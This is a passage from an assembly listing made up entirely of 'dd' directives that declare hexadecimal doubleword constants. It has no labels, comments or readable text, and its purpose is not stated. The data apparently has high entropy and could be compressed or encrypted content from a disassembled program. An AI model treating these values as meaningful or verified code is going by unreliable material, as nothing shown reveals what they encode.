5B6FDCA8h, 7775F65Fh, 669E3927h, 0D0CB17h, 5E44D220h dd 0AE0AA89Bh, 0B4E3B68Eh, 7B86CB85h, 81D8A84Eh, 5EB80C87h dd 266B61E0h, 0D8FC6F68h, 0EE00C0A8h, 0DD206F6Ch, 0A311E3h dd 9CAF4B5Eh, 3C67BEC5h, 6E729000h, 9DC2D41Eh, 0E694005Bh dd 0AA415736h, 0CA0FBA65h, 0B9F9D0h, 5A2DAECFh, 0D9110346h dd 2E6E98F7h, 0BE75101Dh, 8442BFFFh, 0CEFA43Fh, 2AEA68E0h dd 298C538h, 6005CB15h, 848BBC9h, 90110A4h, 5866A588h dd 0E0F69CFCh, 32C6770h dd 0AA548536h, 0CAF013F8h, 2E00C5E0h, 9F467E16h, 491E2593h dd 0D5025C07h, 850DE472h, 0C5FDC460h, 0AC27FC02h, 7AB14170h dd 1E5F00h, 0F1B428CCh, 6F008A20h, 0D9F8AEF3h, 433540h dd 33ACCB05h, 1C78A4F5h, 3800F24Eh, 0C2D7275Eh, 825A0029h dd 0E530148Eh, 7E00CF0Eh, 94FB2D5Dh, 6CA3B1h, 0D5192026h dd 0A9E1C9C1h, 9318F938h, 0C8373E9h, 0E0ABD298h, 7D091BBEh dd 414B86Dh, 0CF76EB2Bh, 6BAC0070h, 0E23C2B2h, 945015DFh dd 2E18F40h, 710EFFBDh, 0E0F22F72h, 0F31187D4h, 9CB8050Fh dd 802BA382h, 0A6DE2522h, 50B45D00h, 4149937Fh, 0EC14B83Dh dd 0FEDF03Ch, 0A4F11CB2h, 0B62C4152h, 50F7EA3Eh, 2D2CA3D4h dd 4A733C1Dh, 0F0943300h, 1657801h, 0A10F39Fh, 682B6906h dd 3D7D1C00h, 477CBC40h, 1E794DF5h, 3B9B39A8h, 0CE852A5h dd 9E123621h, 0C41335Ah, 0BE4C758Ch, 73696FDCh, 767D09A3h dd 0D8E4032Ah, 0D8608E28h, 8B983Ch, 2A321936h, 0AAE142h dd 3BBEB597h, 0AF685501h, 0ECD3D00h, 354C9DBFh, 3E2F01F1h dd 44A1FA36h, 0AE9C6093h, 2765A402h, 0E39B5943h, 0C208B847h dd 253B00A6h, 288B30Ah, 11012868h, 0BF7CA7CFh, 22C05554h dd 0D66F0174h, 5C1C0F2Bh, 0F3D5F43Bh, 49892104h, 0C89E8Bh dd 449724B0h, 518BEC0h, 457DE0BFh, 0A0F40E37h, 5CD15484h dd 8BD46483h, 9B73136Ch, 2BC30E4Ah, 0D8209E29h, 0BC2AB834h dd 849D2505h, 50805422h, 0C7CDB9h, 0B2D140B5h, 0D828B064h dd 2DA5CC16h, 1761A832h, 0FFDA9500h, 0EA346B6Ah, 0C8FE00F6h dd 9D6C668Dh, 58B0A30Dh, 3801307Dh, 9807CD58h, 0FCE0AFA6h dd 0F3410043h, 30C9A51Eh, 20076438h, 398D49Dh, 90989665h dd 616C0F23h, 1021D0B8h, 2177569h, 1630869Ah, 80D49976h dd 7B4D74B6h, 772AD05Bh, 0AF12A824h, 8504FFF6h, 0E8C24A4Ch dd 0A218C0E9h, 0C1BA2655h, 0D89461DCh, 3CB06643h, 821AC0Ch dd 35801D80h, 24B339Ch, 9F3701F4h, 4C4804DEh, 0D900F9D8h dd 0C7990F93h, 0AD33EBh, 6011D70Ch, 0CE256854h, 0AEB7160Ch dd 590993Bh, 8A61914h, 5FB041D6h, 2085AC29h, 24162EB7h dd 70547DA8h, 0C6A400EDh, 301E8126h, 1A0B33Bh, 0C4F47063h dd 8F684C37h, 494ED323h, 5D337090h, 0FA9A5A26h, 0B0973C16h dd 2890C884h, 900FCDD3h, 42860C65h, 9D10BB3Fh, 0BCD08200h dd 0D1B8AC6Dh, 9FE35CF8h, 8D09EC0Eh, 82DEB920h, 0AD061C6Bh dd 667FE033h, 0F2990211h, 0A92A8FF7h, 45985040h, 9EA78E00h dd 50E86B60h, 3ED7091Ch, 0C8C0F491h, 9D54CF34h, 2F73E4F4h dd 24DCB900h, 2D177FEFh, 1F835AB3h, 7D8442B8h, 80E0C268h dd 5A542FE5h, 10982288h, 692A1000h, 4BF3FD0Dh, 8F5F006Fh dd 52FB4E7h, 9100D4A9h, 2D1FCFBh, 0DDDA62h, 37B12084h dd 0C18F72B6h, 2A5C8900h, 9CAE50Ch, 0D4E600D2h, 50A0D90Dh dd 5600409Ch, 0BA465D15h, 62724Ah, 8413E52Ch, 0DCD7793Eh dd 41F46435h, 917400AAh, 31C3AB50h, 0E60010E4h, 5A375B87h dd 7F092A39h, 5E38FC18h, 0C5F4233Eh, 0E655EA80h, 0F458921Eh dd 169300A4h, 1F2907AEh, 2077F23Ah, 51D73040h, 0E2F9CFA0h dd 98604101h, 53E76ACCh, 0C207DFDh, 6890A0C5h, 0D3E10BF1h dd 90C237DCh, 2180945Eh, 0A4EE2433h, 959301A1h, 98D104A2h dd 1D01DC72h, 8B1FE602h, 40ADF46Eh, 3DFA83B4h, 0D801BCC5h dd 0D5D7E50Fh, 20303EB0h, 9F2E6258h, 19021C50h, 4D565093h dd 8768481Bh, 6785384Ah, 8094ED24h, 342F5D63h, 0AE05653Bh dd 0C012CB28h, 440EE092h, 443C5858h, 1573B5C0h, 13F84043h dd 0B5360B2Ch, 9860671Bh, 246656Ah, 0BA15F133h, 145E2EBCh dd 0E6489739h, 0D070BC80h, 0E73B00A2h, 60B02B3Ah, 0F600E886h dd 637781ECh, 3D58D31Bh, 981C88A4h, 38C98ED6h, 688BC400h dd 4EE69B72h, 0B4124700h, 6EE71D18h, 7F4D0463h, 0C0A9966Ch dd 9DE835FCh, 0F205CC92h, 0FA1B1982h, 0C9BD94A1h, 0BB8D1D84h dd 0D804A12Fh, 0D6008E4Bh, 42B406B5h, 3F74EF81h, 6CDCC8B6h dd 13565500h, 94E90C8Bh, 1D6B533Dh, 1740837Ah, 0DB0DED73h dd 0AB510034h, 5007CC7Eh, 2500BA62h, 791B8948h, 5D71FEh dd 0F867126Fh, 0DD639EB5h, 0CE00709Ah, 4D498B1h, 0C2917CD9h dd 0E9FD5DB9h, 665ED4A2h, 0A95620E0h, 0D42C744Ah, 97C8263Ch dd 0DC0880B4h, 66B78EA8h, 7B0F8700h, 19953814h, 847500B2h dd 0CC40F1F7h, 2E09444Fh, 0E1644BE0h, 4077F0D4h, 4973A458h dd 560F2010h, 3BC06775h, 0F9747B4Ah, 9D830600h, 924B953h dd 0E08C4D73h, 0B61E084h, 13001C93h, 0C30D6Dh, 0EC9171DCh dd 1900EF14h, 0E90F89CCh, 186364D9h, 3127F2A6h, 2FE8F86Ch dd 37B0B304h, 90B48C5Dh, 15010D04h, 0C068E816h, 3001AB9Ah dd 0DFC25DC3h, 0D437B2BFh, 90C39025h, 75527FB0h, 1F056CB2h dd 0E845B291h, 591A9488h, 0A92C8C74h, 0E52B0B3Ch, 4E038C34h dd 0C315D114h, 3D6903D2h, 90BCE593h, 0F01C88F8h, 10F4DB2Dh dd 0E20C9D88h, 4BC49AF7h, 28A42DDEh, 545AD3C4h, 3ABF8040h dd 7DD628D4h, 3CDA5838h, 53F2BE01h, 0D4B8499Bh, 0A7EE95FCh dd 0F95EC012h, 7ED3B890h, 0A1DC93h, 8F8C9ECEh, 6300FEB3h dd 1D782338h, 55C01Ah, 0DAEC284Ah, 0A9A784BBh, 0F238D000h dd 0A881BDDCh, 510209ACh, 44804F1Fh, 99894683h, 4F6171Dh dd 8E32C340h, 30434531h, 0FA1088ACh, 0E93C675Eh, 0CD8200B8h dd 2EB686DFh, 0C7550053h, 31D8FB69h, 0ECB6F4D5h, 0B42AC084h dd 2C648090h, 0AD14AAAh, 8EC07CE0h, 0A640D42Eh, 1612EFF6h dd 0E6908515h, 643101A8h, 5AABED51h, 2B56824h, 2445835h dd 8AC3A9CCh, 6C90F298h, 0E81203FCh, 89004AFAh, 0C03C226Eh dd 0C5120974h, 6480CE46h, 0A02086CFh, 0D8A7EB00h, 295BDE10h dd 5187000Fh, 0C7F9DC74h, 8D3F666Ah, 424F015Eh, 0D432C634h dd 0E1079DAh, 9BE0CBF3h, 9CF0E2Ch, 7D231300h, 0F605E20h dd 0B2FF008Bh, 0E758EBFh, 1300D4E7h, 80A0FBE9h, 162D95h dd 0ADC27CBh, 0EB6B791Eh, 75C76D00h, 9B48C420h, 0AFA40065h dd 0D00CA594h, 5C007AC5h, 0CBDA0A46h, 58270Dh, 2C77858Fh dd 9A0231D5h, 3FA84905h, 5C803A22h, 2030C346h, 8400D2AFh dd 0F92F254Ch, 0A2B493h, 1007316Bh, 80767D1Ah, 0E880894Fh dd 9836B9h, 278EF4EDh, 0C422889Dh, 0B0024BEAh, 0BFDC4251h dd 11DC5616h, 4C790BDDh, 645C388Ah, 0C5CB00BBh, 384245CEh dd 90F8FEEFh, 435548h, 0DD32167h, 9FDF8A0h, 0DFB19E36h dd 809830A4h, 0AC3F2770h, 23001892h, 911E6E9Dh, 1BD6C0Eh dd 6393882Eh, 402D14E1h, 8A8316CCh, 4E8B6EC0h, 12CA39Ah dd 0FECDE3F2h, 0FC0D53ECh, 0DA24D525h, 0E69648D1h, 16438820h dd 583E0011h, 0B9BBEB52h, 7248775Bh, 95BE0014h, 249E80AEh dd 48945CB3h, 771D5A48h, 81A4C0CBh, 0C239C46Ah, 38F7C3Ah dd 74AFF24Eh, 0D4E3805Eh, 22680037h, 0DC49A06Fh, 1D00FDE2h dd 6A7324E9h, 2BDC82Ah, 1A7E3F68h, 0F083B0F0h, 0F5E03164h dd 4D3D96ADh, 808A39A4h, 7C58F0FAh, 2A6DB6h, 28863DC3h dd 0A60623B8h, 518A9600h, 0A1A55EBCh, 0E00E02FFh, 7D944414h dd 8D13CCE0h, 7EF84E00h, 565CBD58h, 96FF3095h, 87CA9179h dd 7B046340h, 0E40600E7h, 138C69FFh, 6A0075C0h, 64F0E103h dd 28317FDh, 73062B28h, 0C3E0FF31h, 427199EDh, 0FE20AF13h dd 9EF84CA5h, 0EB160128h dd 0C5513759h, 0F0475Fh, 7912F6A0h, 438B6600h, 0B218FD08h dd 0A950009Ah, 36DC2B61h, 0F044CD3h, 6005CF17h, 1DB0CA0h dd 6967C8F8h, 0DCD8326Ah, 53020428h, 1C6B8D48h, 0E5AB60C7h dd 89751324h, 0E6DC8012h, 98125541h, 0D482A1CFh, 7750C0E8h dd 5D86006Bh, 53EA2515h, 2129154h, 1001D027h, 0C7CDB55Ch dd 3C3BDCh, 0AE99043Ah, 1F2571A8h, 78221800h, 0CEA1878Dh dd 9CD50010h, 0F1059F66h, 6F001B7Ah, 2AAA0872h, 9FE9704h dd 0DB87B8B9h, 0E160980Eh, 0F65163B4h, 9720820Eh, 2765208Ch dd 4C12BC19h, 100D8E4h, 0C104C789h, 291D46FFh, 0AC8F8035h dd 23E8B72h, 6957CB66h, 403FF4A4h, 0F00B6720h, 9A708311h dd 0E900A276h, 58863591h, 4CBEB8C0h, 884C8B87h, 0A4B29507h dd 1520606Dh, 5413E2E3h, 0F000ED3Dh, 6260A5D9h, 3AEC0033h dd 3ECCCBA6h, 0BB005E7Dh, 736E17BAh, 1C784703h, 962EEA4Ch dd 0F444409Fh, 83500880h, 0D1C86761h, 0A760B799h, 5F77180Fh dd 0CD16C8B3h, 629F22h, 558DD003h, 0EA215990h, 94400B4Ah dd 3D84FEF7h, 15CD00A4h, 137D52DAh, 0EC052235h, 9F96A0A3h dd 86006CADh, 367E797Bh, 0EA6129D8h, 0B43A2DC8h, 0E540006Bh dd 0F86E8720h, 0A85F8D07h, 0C021CD1Dh, 65FCDF6Dh, 443003CAh dd 0AE2E1480h, 0D0C244AFh, 0A28E0640h, 609BFA27h, 1D7E15BCh dd 0CBE3823Fh, 87774E6Eh, 7490C5CCh, 3F30C98Ch, 6680DF77h dd 0F9EB386Fh, 0ED03B701h, 44956D1Ch, 2D35B8A7h, 6ABA06F8h dd 28C23A20h, 976F1600h, 0EFEE7FCh, 883600B3h, 0DED57858h dd 4D00DFE1h, 38D1954Ah, 7D33C73h, 5F727B1Ch, 7DF6708Dh dd 85004CB8h, 7620CF2Bh, 0E74950FEh, 0B900AC28h, 96A7A2BCh dd 0C9003432h, 8223801Bh, 0BD22B78h, 499ECF83h, 0E404C400h dd 800E1D08h, 41659D3Ch, 3B6CF6D0h, 2AA72180h, 0C61E85A5h dd 0E1E51C1Ch, 558872C9h, 2080BC8Fh, 0DF2EB92Fh, 2448E58h dd 6B13A265h, 77007CCFh, 0DFF0D990h, 0A30070B7h, 35321297h dd 0F24078h, 1627299Fh, 0A5857492h, 0FCE5FE00h, 4638B5C8h dd 6CBC139Dh, 0AB9C0098h, 6E7DDA25h, 1C166AF0h, 288008B5h dd 13EE386Bh, 991461Eh, 9000BA85h, 965AA433h, 0DCC8D304h dd 38A0722Eh, 2A991D0Ah, 0A4390029h, 75B5F588h, 89F64E02h dd 0F2B31D2Dh, 0B0C00130h, 334A529Ah, 8E73F8BFh, 6100FCB2h dd 5F1A5513h, 2CA43C0Ch, 8B98A55Bh, 0B0707C16h, 0A9901403h dd 889EEDB1h, 73307B0Ch, 7E230529h, 236A1CEh, 0CFC905E0h dd 547F2FC0h, 24D00E00h, 894186C1h, 91C20018h, 0F1CC9A94h dd 0BE03F51Bh, 57667053h, 0F4C4BAE0h, 1423EBCh, 4F63A480h dd 0A0D45A52h, 327703E4h, 5C2242BCh, 0BB487000h, 0CDDF6DAh dd 20A23E5Dh, 0DE41B307h, 0FFA55005h, 0E90EA189h, 80268217h dd 0AC9EFE95h, 0D5D007C4h, 80611043h, 894063Eh, 7800F498h dd 412477Ch, 0AC9DCD9h, 0E2CDB824h, 0D2420094h, 0C14FC233h dd 51329B00h, 2AD739D1h, 305A01FDh, 16BD4DADh, 14003BE4h dd 0C9CC753Eh, 0BF810163h, 0EF29528Ch, 0A7DC4115h, 706C1Ch dd 0D016CCA5h, 1D415B17h, 0C7AB3361h, 7739E0F1h, 8FC9E065h dd 37046E68h, 0ABE2F4DFh, 1C36C88h, 0B212C5CFh, 30F6CD24h dd 0B0E8094Ch, 205A7B00h, 68851EE3h, 250BE2E4h, 0F012EEC4h dd 4704F476h, 0C94E011h, 7D1DCA80h, 0E4807441h, 76530790h dd 0D4AAA768h, 0E45480E0h, 4C002AC7h, 0DDBA6065h, 1CBF0710h dd 0C07D73F5h, 0D2E6C1FDh, 0F42E6ADAh, 0E3088CB4h, 0ABFA8045h dd 0FB82E56h, 50E49D30h, 0E02D6D73h, 0B1610B63h, 0D081773Fh dd 60E8EAE7h, 660078AEh, 1D0DF4A0h, 646FABh, 0F3FE387Ah dd 8E5B3BB6h, 306A6003h, 0FA581306h, 750C413Eh, 0F63DC020h dd 18D7F8FEh, 0F0C52F5Fh, 9800CEA5h, 8E806E4Bh, 9D0B633h dd 0BF3A4222h, 1791CC00h, 900EEB0h, 8E69E7A7h, 5EFF294h dd 0E8DE402h, 9F708081h, 2F009EB4h, 82F50A1Bh, 7738C4h dd 19BA18A8h, 7B1AD361h, 9005BB8h, 8F022C9Fh, 3BB760A7h dd 0C8DBC9CFh, 0E0085B4h, 0D3BF8096h, 92FEEC9Fh, 0B0977610h dd 753404B0h, 0A4C0067Ch, 0DB774394h, 2977E176h, 1800C6FEh dd 477E787Fh, 7F2050Fh, 647255BBh, 0D5DF602Eh, 1451A222h dd 191040D0h, 0F6A1A0E6h, 9B478EDh, 7852B1EBh, 16277954h dd 607C23CBh, 1188F46Ch, 610CD607h, 0EB20427Dh, 0F2AFB3F0h dd 9F220007h, 0BD6B990Dh, 15000B2Eh, 0D0A93DC4h, 0AA53816h dd 0CFEEFE59h, 0D23500F8h, 0F9DE3AFCh, 233EC90Ch, 4B61F062h dd 2DA409C2h, 72E9B4E0h, 834B703Ah, 1052D4E5h, 0F2600E84h dd 0C14E5ED0h, 5532C6C0h, 45206007h, 0CA4203E7h, 0FE9019CDh dd 8CCC2100h, 33A994Bh, 88281C29h, 0DDBF07DCh, 217F21D5h dd 9A5420A5h, 1E74148h, 0FAF6BBC4h, 0A2E41A69h, 22700E3Dh dd 68C0E994h, 90131112h, 0B9C220E2h, 709CCF37h, 30E30034h dd 1953872Eh, 400382F8h, 0E4B5607Bh, 72A362h, 0F065E2C0h dd 0F2C007C8h, 1928C893h, 24FA4A4Ch, 0E50FC896h, 215D62A5h dd 0AB40607Dh, 0A8E20080h, 0A43BDBF0h, 0D49AB8A9h, 0D488A04Ah dd 0A21000DFh, 1FA19E83h, 7E60258Eh, 6AA06F78h, 9410B5B2h dd 0D8BE155Ah, 0C7101440h, 0E021D2Eh, 0EF4EED9h, 54E5B81Ah dd 598500D0h, 6F4CD4A1h, 9799ED00h, 78A8EE74h, 3AEA7143h dd 0CC81CDC0h, 9A372FCAh, 0E31AD435h, 0AF6CB302h, 7EE91EBDh dd 89200C4h, 19914542h, 9DFC2F07h, 0CC60B67Bh, 77A208Bh dd 0F9EF2BB0h, 6D1711BAh, 51922078h, 5DE2FE0Eh, 3D8BE083h dd 4C30BF1Bh, 0BC07DF73h, 2F76B134h, 0ECC02C49h, 0CE00EA17h dd 71B6EDE1h, 3F285C7Fh, 95030ADEh, 2399C38h, 74A92DC8h dd 12D1930Eh, 7F5F40D0h, 90EA7E47h, 7854008Bh, 21C32555h dd 0E828CC0Ch, 440EB859h, 82C6FB6Dh, 0EB3696C0h, 0B84EE040h dd 0D7F7031Bh, 0B7ED637Dh, 0CAA62FA0h, 0BF1F20DEh, 53C46600h dd 0E04514h, 0BBD6DAC8h, 350FBA8Ch, 9660A400h, 190E1264h dd 9C440076h, 5DA7F35Eh, 0EF0A978Eh, 38981BE2h, 0B539F503h dd 8EF0006Eh, 55D8EF7Fh, 0A0C19A6Ch, 1B9D4CB9h, 0C08C5424h dd 548E1220h, 0CA0A24Dh, 28A03496h, 0FB075552h, 2766A4BFh dd 0D5C89BE0h, 0C1E79AFh, 35691BDFh, 9E00CE98h, 471753C0h dd 1758841h, 72D4B451h, 0F0CF9181h, 0E50124F4h, 0B1B8A77Eh dd 9CF05E82h, 3AD5C65h, 2CB2900h, 795A85AEh, 0DE7D7E00h dd 0B54EA432h, 1DCA0093h, 52A6B6D2h, 74012E99h, 0B32C875Bh dd 0BFD4B772h, 57E3Dh, 0C2982A1h, 8C36DEE2h, 0E4A49517h dd 66148C40h, 0F81101C2h, 45EF00BFh, 16D6F539h, 50776F5Dh dd 885829C0h, 9864D7B2h, 6C4C0195h, 0DECAB967h, 0BA9C4868h dd 63651301h, 44DCB798h, 2DCED0h, 0DD017FFBh, 3446943Ch dd 17732301h, 1F72F77Eh, 4F5F0880h, 46B4C09Ah, 8030056Eh dd 0EFC81450h, 1C944881h, 0F815DB00h, 9A0F2D8Bh, 0AF2ECE00h dd 0C5BD0DB2h, 0B710C099h, 10C27CBEh, 58CF2700h, 6451778Ch dd 890C05Bh, 0CF4BA61h, 0CB6BD500h, 9C4CD774h, 5EC002A8h dd 69AF9B47h, 7A38848h, 8DCD3400h, 88833ABDh, 0E7E10179h dd 9958F616h, 0D6298077h, 0F50F5E53h, 0C0F1518Eh, 1AFE2F0h dd 0F4D9AA2Dh, 414C1019h, 5057A4A0h, 5D9597A4h, 99886601h dd 0C46BFC72h, 51930E4h, 0B9DF5EE4h, 0CA84024h, 0E16ED380h dd 0FE86EE00h, 1442947Bh dd 83E30784h, 0B0E78562h, 0CABF5EA5h, 8154D748h, 9DD2566h dd 19D1B821h, 4C6EF4h, 0D2C6DFB8h, 0E8E17F6Fh, 0F51AFF00h dd 9BF6AA2h, 0FBB3025h, 54DE9941h, 8D8ADF00h, 0D6685B86h dd 4B920B4Ch, 3A004A14h, 945DA6F2h, 58CC4904h, 0C8A8139Ah dd 0C045C21Ch, 0B3C9E761h, 41033EA7h, 5766520h, 0CBE90C5h dd 6CDC00E1h, 1526D9F6h, 0A626533Ch, 3030613Eh, 12CBF5D2h dd 0E285855h, 5D00CC62h, 7FD45690h, 0D5446C00h, 70BB0141h dd 0C4B93093h, 9139BE69h, 11D0E530h, 0E7197Ah, 99F9C2CDh dd 3C064D3Fh, 34CB390Bh, 0D5B4806Fh, 0B3BDEDh, 7512F3EAh dd 22062521h, 453C2900h, 8D7335Bh, 0C3909Ah, 255453D5h dd 131E9DDCh, 5EEC5518h, 16D2B8h, 0FD7C7E15h, 0B2E7D11Ah dd 36E6A509h, 8FFC83ACh, 492CE861h, 0C4790033h, 0BDA5856Ah dd 8D1F27E9h, 0D10C8326h, 2A3F19C0h, 3084BC51h, 0B3088EDCh dd 0C590213Ch, 0E4847C03h, 0E07FD771h, 0DF3F3330h, 8439920h dd 0C52CE0A7h, 93206400h, 0B0785E0Fh, 0BC8A0092h, 41867163h dd 57843DCh, 0B06D1138h, 0E9233938h, 0F330FB2Eh, 0DD6C0044h dd 0CEC8A1F9h, 0E5EC2B77h, 7CC59000h, 610754CFh, 22BD3AD1h dd 29AAA900h, 5B82F22Ch, 86834B03h, 0F8F12B02h, 0C0F52A5Eh dd 10B43508h, 0C60EA8BEh, 80A07EF6h, 500A5A03h, 4B841FF9h dd 0A1820F65h, 5180428Bh, 442FF7D2h, 9541510Eh, 30058750h dd 87F56280h, 0FAA5000Bh, 2CFB93BEh, 0D8009BB7h, 4F754B07h dd 346BD4Dh, 303210C6h, 76C1F6D2h, 0A22EDC5Fh, 1D3A6278h dd 9C3060A1h, 0F0845061h, 72BDE8D7h, 5C03003Fh, 60FB149Dh dd 64A4137Bh, 0F05D048Fh, 1361841Fh, 72B75C10h, 28F2F0h dd 324EA43Dh, 22BB2465h, 8FF95472h, 0E0E01539h, 0C1F65C2Dh dd 0E674330Fh, 21000908h, 4FA4D89Fh, 370883h, 7E9CA6BDh dd 213AE87Dh, 31F0EE06h, 78161DFh, 0B983805Fh, 6A5A026h dd 2501FD60h, 0A6E62A64h, 288C2BB0h, 0E0312403h, 5CF90700h dd 8A77842h, 0E3B0C053h, 6445D76Ch, 0BFA42406h, 71807AEh dd 0ACDFCBD1h, 581806DEh, 0A9E61F30h, 1CB712DBh, 3ABE9Ah dd 7AA7E7F9h, 7001E6B5h, 46B158E2h, 45DC0161h, 298A05Dh dd 32BA03C1h, 86A4E912h, 0F42463C8h, 33D551C0h, 0C204200Eh dd 285C0168h, 0EEADF500h, 18F66068h, 0BC8BD547h, 9B0D9C3h dd 48D7C915h, 0AAC9AFCh, 638BF89Eh, 0C6AD80D0h, 978C445h dd 894E3C30h, 0F09B5E0Ch, 4261C024h, 0ABC7E566h, 0A3B05950h dd 801DB4A9h, 0E54EE721h, 761E89h, 0DF464B18h, 9A975B86h dd 54F1F228h, 10062215h, 0A93DB4h, 0DF2531B6h, 6749E2Dh dd 58EE80CEh, 811FC806h, 2070C76Fh, 4A9BE0Ch, 0A40E80D5h dd 16A501DCh, 22005E9Eh, 24900332h, 0BD4D109h, 722C0020h dd 0A05DDEBFh, 3C9FABD4h, 8C540AF7h, 0D6111E58h, 20021B96h dd 8AC42AC0h, 0BEA96460h, 3EA3238h, 269167E2h, 8304F2Bh dd 976B4192h, 0B3230A31h, 37073FDh, 0F3A0264Bh, 0DCD2A029h dd 4C4F9832h, 0A4DF0270h, 0C20E5C2Ch, 0B010EB19h, 0B600A4D7h dd 5ABFFB4Bh, 70C066F8h, 0D521C77Eh, 61FE267Bh, 843D9000h dd 3BBB1BB5h, 1DB7277h, 5A47707Dh, 9163C1D6h, 0DD805580h dd 0DE5C2EA4h, 0EE22C143h, 0A4D5B200h, 0B9F5EF26h, 19DF6028h dd 0F8731B42h, 0E2C21D12h, 0B414500Ah, 0EA717021h, 201CD18h dd 7E3DFD5Bh, 3450F169h, 119D107h, 0AA3B0EC5h, 2047036Ch dd 3D4817BCh, 8C1EFC50h, 9092D100h, 7E266829h, 8BAC1553h dd 0ED03E8A8h, 3685B3EBh, 32244FC8h, 6890EF32h, 0E5703099h dd 49ABB511h, 0E9801888h, 9AEE558h, 98451DDEh, 3C809ABh dd 352080Eh, 0E5F7C1F8h, 0C3C088E4h, 2CDB6C26h, 0D602C587h dd 86902029h, 78AFB9BEh, 0DA7CF0h, 9881D784h, 4E2797EBh dd 2AD2F00h, 5821C008h, 0B0D81D5Eh, 0D44B809Ch, 910FE303h dd 3D40C0C4h, 0AAE56730h, 1151AB23h, 4FE40016h, 1DAD07E5h dd 22BA1592h, 0DB80EC5Bh, 0EE5C38A4h, 0B4C0C142h, 633EA4D3h dd 0DC0757FEh, 0F43B2E13h, 62F58028h, 0A4347CA5h, 2003B5E8h dd 23C28FD0h, 57B290ECh, 0CCE41347h, 0E67C5C97h, 0F4E108E4h dd 8BC50F02h, 54D8A0B7h, 0C6B20Eh, 0DDCAA12Ah, 265BAD4Ah dd 2808C204h, 0CC760CEh, 0A118E0ACh, 0E4589584h, 0A9E5096Ch dd 181C69ABh, 84A054FCh, 7E00F127h, 0CCAEC0D8h, 0C0915A48h dd 0D6101181h, 5001CBDCh, 8815F6A4h, 2AFCE455h, 0C9D10097h dd 4D54C058h, 44495B01h, 5012055Ch, 8840041Fh, 0F7537AB1h dd 410F1D9Fh, 0ECB380CBh, 0CE1455B8h, 31B0BF02h, 905F017Bh dd 0F65DCA0h, 246F07Fh, 77144092h, 5A3DEFF4h, 0EA6C0A0Eh dd 134A924h, 5038E5CCh, 0E4AF7A30h, 28950EBDh, 0DF297F64h dd 8160668Eh, 0FA2008CDh, 2510A760h, 9FCEE22h, 0FEE0364Bh dd 0B47D5C01h, 354201Ah, 0B5581364h, 1D882C8Eh, 3E3A18C0h dd 0FC040009h, 22E88237h, 0FB612807h, 0CB6F7F68h, 0D80EF835h dd 0B6CC1C88h, 197B02FEh, 528CD44h, 0D11C9CA0h, 0B70033A8h dd 89212B08h, 69EDAA2h, 9D04EEC2h, 974670ACh, 38D35224h dd 113879A9h, 5AE3011Bh, 0B908D8E5h, 70597DC4h, 6E00F902h dd 26033ACDh, 6221E2ACh, 88CCB8EBh, 0E67A09B4h, 0BB6C0Bh dd 4D4BE1h, 0E46325Ah, 0A9687212h, 16D5F427h, 0A025926h dd 7F6C65AAh, 0A71CE0C8h, 2708D3AFh, 27C2E704h, 0E2A377D4h dd 6CC125E2h, 12488814h, 65AD62D6h, 48B02441h, 6A88F224h dd 239FEC5h, 8559D2ABh, 0A4A0F828h, 0E4F2AD4Eh, 0CA4D7700h dd 0C6C4FB9h, 0FFC27932h, 924690ECh, 0C0521C74h, 122310AAh dd 2E1A30E9h, 73408281h, 0B9D2008Ah, 61C2DC83h, 0A15FAEE6h dd 0C5477E8Ch, 0E84A9820h, 60C000D4h, 404DDAABh, 673D33E6h dd 2890C832h, 0AF00501Fh, 97ABCA53h, 0F284F5E6h, 185012D2h dd 0DA9C05A9h, 0C8848BBAh, 28CFC009h, 0FC015CC7h, 0E1A7E4D1h dd 4242B3Bh, 4C4200ECh, 0E22D513Dh, 15285983h, 9550AC7Eh dd 0E0ACD3BCh, 5265AC04h, 6738B87Fh, 3165C40Ah, 53408828h dd 3DB283F8h, 0D500F1F7h, 0BEDE014Bh, 4A047A59h, 8FA2E5DAh dd 0C6FC60A4h, 24BA8B49h, 927AAF00h, 1FB81969h, 0C4E73F86h dd 0E431B930h, 0BA1CDCCEh, 0ACC068A4h, 8143C973h, 128300Dh dd 6FF42981h, 94837A0Fh, 0B093609Ah, 74784E6h, 92A275ABh dd 77EDB0BEh, 512EFBA7h, 0AE91A4DFh, 0E024328Eh, 8B1085E2h dd 996905A4h, 28C73C31h, 0D6091FA4h, 9C88FFD8h, 0B57DAF87h dd 56004873h, 0FFEEC4F1h, 96BAD525h, 0EF465C1Ch, 9049D107h dd 8387117Dh, 34420C1h, 0B7247098h, 0F219C472h, 6091EF40h dd 0A4E18059h, 87FE5C32h, 0A4D99E00h, 0CA54FDCh, 5073D37Ah dd 0BF127850h, 0C80260EAh, 645C017Eh, 4B020334h, 0C3B21F7Fh dd 10178903h, 2EC4EA20h, 1834A310h, 31056190h, 0F4C1292Ah dd 1F877F18h, 97ED2C1h, 0B55A2A7Dh, 0D954FC48h, 426F9D00h dd 9A4AF815h, 98A732E5h, 20C40321h, 0ECED0900h, 9BC1343Bh dd 67F0082h, 84A21AD9h, 0D07E7E2h, 0A4ABD123h, 0D00C2EE5h dd 5C63F85Ah, 0E81070D5h, 5E010CEAh, 0C077D933h, 3D02D470h dd 0E0FF5A19h, 0AD1FBE95h, 0AB052DD3h, 30CEEE61h, 0F5C10188h dd 56E59FF3h, 7C08CC2Ch, 7812412Fh, 0DB34430h, 540B5945h dd 0D500B5B8h, 5A4158Ch, 395AA541h, 70E40A9Fh, 0F74C8903h dd 3D521180h, 3C7CAA0Eh dd 0B6BC098h, 2C4F7788h, 43A82562h, 4099AB90h, 670101EBh dd 107C182Dh, 518D836h, 0C7A2CCDDh, 9C02D012h, 50687301h dd 0D1509950h, 287A181Eh, 28BB363h, 9FDF41DDh, 0C4643831h dd 72205F12h, 9DC1A0C4h, 8882A348h, 8DE22783h, 0F0022C42h dd 0E3051304h, 110CD86Fh, 5B99293Ch, 39B9C80Fh, 0DF4E274h dd 917045B2h, 26A83A3Bh, 0C8C0A0D7h, 467F6665h, 215930D8h dd 165C06Bh, 1B1ED785h, 60C49BC6h, 0DD62A51Ch, 0CBA6E661h dd 60C1C050h, 52D80BD5h, 2400C29Ah, 6803AD38h, 267AF090h dd 0A040A956h, 768908C2h, 0D5DAE483h, 383C9479h, 0E048BA40h dd 1384488Ch, 3C8B574Ah, 0DAC0AA88h, 0BDA6C3h, 3073F05Eh dd 53D4E307h, 31842496h, 385403E2h, 0F0C63849h, 0C0467846h dd 0DE322C02h, 0AD3147E2h, 319B1F10h, 0FD8E0700h, 168F2D57h dd 26AB09B7h, 1C219120h, 0DA90706Fh, 5C40E07h, 0C40B1109h dd 1691E817h, 847B5D84h, 4A9C4140h, 3C7ABF5Ah, 